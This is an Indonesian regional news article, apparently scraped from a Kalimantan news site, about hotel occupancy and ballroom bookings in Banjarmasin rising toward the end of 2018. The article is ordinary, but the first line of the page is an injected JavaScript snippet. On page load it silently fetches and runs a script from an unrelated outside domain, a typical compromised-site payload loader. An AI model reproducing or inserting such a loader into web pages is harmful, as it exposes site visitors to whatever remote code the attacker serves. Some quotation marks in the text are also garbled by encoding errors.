(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARMASIN, Gencarnya aktivitas perjalanan dinas yang dilaksanakan oleh pemerintahan hingga swasta ke Kalsel, membuat okupansi di Banjarmasin jelang akhir tahun mengalami kenaikan yang cukup signifikan.
Swiss-Belhotel Borneo Banjarmasin bahkan mencatat, pada November 2018 ini okupansi mereka rata-rata tembus hingga diangka 75 persen. Angka tersebut naik dibanding pada bulan Oktober lalu yang hanya mencapai 70 persen.
“Kan jelang akhir tahun ini aktivitas perjalanan dinas baik pihak pemerintahan dan swasta cukup tinggi ke Kalsel. Makanya wajar jika terjadi kenaikan terhadap okupansi hotel di Banjarmasin,†terang Public Relation Swiss-Belhotel Borneo Banjarmasin Hardyasa Prasetyawan, Senin (26/11/2018).
Bahkan kenaikan sendiri diprediksi Diaz, akan terus berlanjut hingga Desember mendatang. Kemudian puncaknya akan terjadi pada malam tahun baru, dimana okupansi alias tingkat hunian biasanya akan tembus hingga diangka 100 persen.
“Saat ini saja sudah mulai banyak yang menanyakan terkait paket kamar akhir tahun baru. Namun kita masih belum menjualnya karena baru akan direlese pada awal Desember mendatang,” tambahnya.
Diaz mengakui kenaikan sendiri bukan hanya terjadi pada kamar saja, namun juga pemesanan ballroom untuk kegiatan meeting room hingga kegiatan pernikahan.
“Tiap hari sekarang ada saja yang booking, untuk harganya sendiri paket meeting room kita jual dari Rp 150.000 perorang dengan minimal pemesanan mencapai 80 orang. Kemudian untuk weeding dari Rp 200.000 perorang dengan minimal pemesanan mencapai 200 orang,†sebutnya.
Sebelumnya, General Manager Hotel Banjarmasin International (HBI) Ery Sudarisman juga mengakui, jelang akhir tahun hampir semua hotel mengalami kenaikan baik dari sisi okupansi kamar hingga penyewaan ballroom untuk aktivitas seminar maupun pernikahan.
Namun dengan terus tumbuh suburnya hotel baru di Kota Banjarmasin, kenaikan okupansi dan penyewaaan ballroom sendiri tidak sebesar beberapa tahun sebelumnya, karena sudah terbagi oleh banyaknya hotel yang ada di Kota Banjarmasin.
“Persaingannya sangat kompetitif sekarang, dengan terus bermunculannya hotel baru di Banjarmasin. Makanya jika kita tidak bisa memberikan pelayanan terbaik dengan para tamu, maka akan ditinggalkan oleh mereka,†pungkasnya. (arief)
KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
This website uses cookies.